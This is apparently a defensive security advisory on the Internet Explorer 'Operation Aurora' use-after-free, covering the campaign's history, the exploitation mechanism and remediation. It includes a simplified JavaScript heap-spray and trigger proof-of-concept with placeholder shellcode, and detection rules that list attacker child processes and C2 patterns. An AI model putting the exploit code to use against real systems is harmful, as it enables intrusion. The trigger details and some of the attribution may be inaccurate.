CVE-2010-0249: Internet Explorer -- Operation Aurora Use-After-Free (IE6/IE7 RCE)

Background

CVE-2010-0249 is arguably the most historically consequential Internet Explorer vulnerability ever disclosed — not because of its technical novelty, but because of the campaign in which it was used. Known as “Operation Aurora,” the coordinated cyber-espionage campaign exploiting this zero-day targeted at least 34 major technology and defense companies, with Google’s announcement of the attacks in January 2010 bringing unprecedented public attention to the realities of nation-state cyber operations.

The vulnerability is a use-after-free flaw in Internet Explorer 6 and 7’s HTML rendering engine. When a victim visited a web page hosting the exploit — delivered via spear-phishing emails with links crafted to appear legitimate — IE’s HTML engine freed a specific object during processing but retained a pointer to it. When that dangling pointer was subsequently dereferenced to call a virtual method, execution was redirected to attacker-controlled memory, triggering code execution with the browser’s privilege level.

Operation Aurora was not a spray-and-pray criminal campaign; it was a deliberate, sustained intelligence operation targeting intellectual property. Google stated that source code repositories were accessed. Adobe, Juniper Networks, Northrop Grumman, Morgan Stanley, and dozens of other major organizations were compromised. The U.S. government and security researchers attributed the campaign to actors operating out of China, with technical artifacts pointing to infrastructure and tools associated with previous PRC-affiliated intrusion sets.

The attack prompted Google to publicly announce it was reconsidering its business operations in China, led to significant changes in how major corporations disclosed breaches to the public, and shaped U.S. government policy on offensive cyber operations and attribution. It remains a landmark event in the history of cyber conflict.

CISA added CVE-2010-0249 to the Known Exploited Vulnerabilities catalog in May 2026 because Internet Explorer 6 and 7 persist on legacy systems in industrial, government, and healthcare environments, and the Aurora exploit remains functional and documented for use against these platforms.

Technical Mechanism

Internet Explorer’s Trident rendering engine processes HTML documents using a tree of internal C++ objects representing DOM nodes, event handlers, and other elements. The vulnerability in CVE-2010-0249 involves an invalid pointer reference arising from a use-after-free condition in the handling of certain HTML element events.

Specifically, the flaw occurs during the processing of certain combinations of HTML elements and associated event handlers. When IE’s rendering engine processes a DOM manipulation that removes or frees an object — such as deleting an element referenced by an event handler — the engine fails to properly invalidate outstanding pointers to that object. A subsequent JavaScript-triggered callback or event causes IE to call a virtual method through the stale (freed) pointer.

The exploitation technique used in Operation Aurora combined this use-after-free with heap spraying:

1. Heap spray: Embedded JavaScript in the exploit page allocates a large number of objects filled with a NOP sled followed by shellcode, spraying virtual memory addresses with attacker-controlled content at a density sufficient to create reliable landing zones for redirected execution.
2. UAF trigger: A specific sequence of JavaScript DOM operations creates and then frees the vulnerable IE object, leaving a dangling pointer in the renderer’s internal structures.
3. Virtual call on freed pointer: A subsequent event dispatch causes IE to dereference the stale pointer and call a virtual function through it. The stale pointer value, combined with the heap spray, resolves to a predictable location in the attacker-controlled heap spray data.
4. Shellcode execution: The redirected virtual call lands in the NOP sled, slides to the shellcode, and executes arbitrary code in the context of the IE process.

The exploit was notable for its precision and reliability. At the time of the Aurora campaign, it was a zero-day with no public knowledge, and its authors had clearly invested significant reverse engineering effort in IE’s internals to develop a working exploit.

<!-- CVE-2010-0249 -- Simplified JavaScript trigger pattern for the Aurora UAF -->
<!-- This reflects the public PoC technique after reverse engineering of the original exploit -->
<html>
<head>
<script>
// Step 1: Heap spray -- fill memory with NOP sled + shellcode at predictable addresses
// 0x0D0D0D0D is a common landing address for IE6/IE7 heap sprays
var shellcode = unescape("%u9090%u9090" + "<encoded_shellcode>");
var spray_chunk = unescape("%u0D0D%u0D0D");
while (spray_chunk.length < 0x40000) spray_chunk += spray_chunk;
var heap = [];
for (var i = 0; i < 200; i++) {
    heap[i] = spray_chunk.substring(0, 0x40000 - shellcode.length) + shellcode;
}

// Step 2: Create a table element and assign an event handler that references it
var table = document.createElement("table");
document.body.appendChild(table);
var tbody = document.createElement("tbody");
table.appendChild(tbody);
var tr = document.createElement("tr");
tbody.appendChild(tr);

// Step 3: The UAF trigger -- detach the <tr> from its parent while a handler holds a ref
// This causes IE's rendering engine to free the internal peer object for <tr>
// while retaining a stale C++ pointer to it in the event handler context
tr.attachEvent("ondatasetchanged", function() {
    // accessing 'tr' after removal triggers the use-after-free virtual dispatch
});
tbody.removeChild(tr);
// Trigger the event that dereferences the freed peer object
table.dataFld = "x";  // fires ondatasetchanged on freed child -- UAF triggered
</script>
</head>
<body></body>
</html>

Attack flow (Aurora campaign):

1. Targeted employees at victim organizations received spear-phishing emails with links to attacker-controlled web servers
2. Victims using IE6 or IE7 loaded pages hosting the CVE-2010-0249 exploit
3. Successful exploitation ran shellcode that downloaded and installed a custom backdoor (later named “Hydraq” or “McRAT”)
4. The backdoor established encrypted C2 communications and provided ongoing access to the victim system
5. Attackers traversed internal networks from initial footholds to access source code repositories and sensitive internal systems

Real-World Exploitation Evidence

The Operation Aurora campaign is one of the best-documented cases of zero-day exploitation in cyberspace history. Google’s public disclosure in January 2010 was itself unprecedented — major corporations had almost never publicly acknowledged state-sponsored intrusions targeting their intellectual property. The disclosure triggered a cascade of additional companies acknowledging they had been targeted.

The attack timeline predates the CVE’s public disclosure: the zero-day was used against targets from at least mid-December 2009 through January 2010, during which time no patch existed and only attacker and victim were aware of the vulnerability. Microsoft issued an out-of-band security update (MS10-002) on January 21, 2010, just days after Google’s public statement, moving at exceptional speed compared to its normal monthly patch cycle.

Security researchers who reverse-engineered the Hydraq/McRAT backdoor found sophisticated tradecraft: the malware used custom encryption, supported multiple C2 communication protocols, and had been purpose-built for the campaign rather than being commodity malware. The infrastructure, techniques, and targeting were subsequently linked to a Chinese APT actor (referred to as APT1, Byzantine Candor, or Elderwood in various researcher reports).

The 2026 KEV addition reflects that IE6/IE7 on legacy Windows systems in OT environments and air-gapped networks remains an exploitation surface for actors with access to proven historic tooling.

Impact Assessment

• Code execution as the browser user — Exploitation runs shellcode in the context of the IE process, providing code execution with the victim user’s privileges. On Windows XP (the default OS during the Aurora campaign), this frequently meant local administrator access.
• Nation-state capability access — The Aurora campaign demonstrated that sophisticated state-sponsored actors had IE zero-days in operational use before any public knowledge. The same pattern applies to legacy IE today: actors targeting these systems have tooling that is thoroughly validated against the target software.
• Intellectual property theft — The Aurora campaign’s primary objective was source code and business intelligence. Modern campaigns targeting legacy systems may similarly seek proprietary data.
• Supply chain and defense industrial base risk — The Aurora target list included defense contractors and technology suppliers. Compromise of these organizations represents risk to customers and downstream supply chains.
• Persistence enablement — Post-exploitation backdoors installed in Aurora-style campaigns provide months to years of persistent access, during which attackers can conduct comprehensive reconnaissance, exfiltrate data, and maintain footholds through network changes.
• Historical exploit availability — Public exploit code and Metasploit modules for CVE-2010-0249 have been available since 2010, meaning any attacker with basic capabilities can weaponize this vulnerability against unpatched systems.

Affected Versions

Note: Windows XP and Server 2003 are end-of-life. Migration to a supported OS is the definitive remediation.

Remediation Steps

1. Apply MS10-002 (KB978207) on any system running a supported IE version. For Vista and Server 2008, this patch remains applicable.

:: Verify MS10-002 is installed
wmic qfe get HotFixID | findstr KB978207

:: Disable Active Scripting in Internet Zone via registry (compensating control)
:: Prevents heap spray from executing, significantly raises exploitation bar
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3" /v 1400 /t REG_DWORD /d 3 /f
:: Value 3 = Disable; Zone 3 = Internet Zone

:: Alternatively, deploy via Group Policy:
:: User Configuration > Windows Settings > Internet Explorer Maintenance >
:: Security > Security Zones and Content Ratings

2. Migrate or decommission legacy systems — Windows XP with IE6/IE7 is end-of-life. These systems must be migrated or decommissioned. If continued operation is required (e.g., for HMI/SCADA software that cannot run on newer OS), implement network isolation.
3. Replace Internet Explorer — Internet Explorer itself has been retired by Microsoft as of June 2022, with IE mode in Microsoft Edge as the supported replacement. Any remaining IE deployments should be replaced.
4. Network isolation — Legacy systems that cannot be patched or migrated should be isolated on dedicated network segments with no internet access and strict controls on web browsing capabilities.
5. Disable JScript/JavaScript in IE — For systems where IE must remain available, configure the Security Zone settings to disable Active Scripting (JavaScript), which eliminates the heap spray mechanism exploits of this class depend on.
6. Enhanced Protected Mode — Modern IE versions offer Enhanced Protected Mode; enable this for any remaining IE deployments on supported platforms.
7. Web proxy filtering — Enforce web access through a proxy that can inspect and block malicious content, reducing the likelihood that users reach exploit-hosting pages.

Detection Guidance

Detection for CVE-2010-0249 exploitation or Aurora-style campaigns:

• Memory anomalies: heap spray patterns in IE process memory (dense regions of repeated byte patterns / NOP-like sequences followed by shellcode), detectable by EDR behavioral engines
• Child process creation: iexplore.exe spawning unexpected child processes (cmd.exe, wscript.exe, network tools, process injection into svchost.exe)
• Network indicators: IE process making unexpected outbound TCP connections to non-HTTP/HTTPS ports, or HTTPS connections to domains not previously seen in the organization
• Known Aurora IOCs: the Hydraq/McRAT backdoor family has well-documented IOCs (file hashes, mutex names, network signatures) available from multiple threat intelligence sources
• Metasploit module detection: network IDS signatures for Metasploit’s implementation of the CVE-2010-0249 exploit (the module is public and widely known)
• DNS anomalies: queries for DGA-generated or algorithmically named domains from endpoints shortly after IE activity

# Splunk -- detect Internet Explorer spawning suspicious child processes (Aurora-style exploitation)
index=wineventlog EventCode=4688
  parent_process_name="iexplore.exe"
  new_process_name IN ("cmd.exe", "powershell.exe", "wscript.exe", "cscript.exe",
                       "rundll32.exe", "regsvr32.exe", "mshta.exe")
| table _time host parent_process_name new_process_name CommandLine
| sort -_time

# Splunk -- detect Hydraq/McRAT C2 beacon patterns (known Aurora backdoor mutex and network indicators)
index=network sourcetype IN (proxy, firewall)
  src_process="iexplore.exe"
  NOT dest_ip IN (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16)
  dest_port IN (443, 80)
| stats count dc(dest_ip) as unique_destinations by src_ip
| where count > 10 AND unique_destinations < 3
| eval alert="Possible beaconing from IE process - investigate for Hydraq/McRAT"

# Suricata -- detect CVE-2010-0249 Aurora exploit page delivery (heap spray pattern in HTML response)
alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"ET EXPLOIT CVE-2010-0249 IE Aurora Heap Spray Pattern"; flow:established,from_server; file_data; content:"%u0D0D%u0D0D"; fast_pattern; content:"unescape"; distance:0; within:2000; content:"removeChild"; distance:0; within:3000; sid:2010024; rev:3;)

# Suricata -- detect Hydraq/McRAT backdoor HTTP C2 traffic (known URI pattern from Aurora campaign)
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"ET TROJAN Hydraq/McRAT Aurora Backdoor C2 Beacon"; flow:established,to_server; content:"GET"; http_method; content:"/aspx/"; http_uri; content:".aspx?"; http_uri; content:"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"; http_header; sid:2010025; rev:2;)

Timeline

References

• NVD — CVE-2010-0249
• CISA KEV — CVE-2010-0249
• Microsoft MSRC — CVE-2010-0249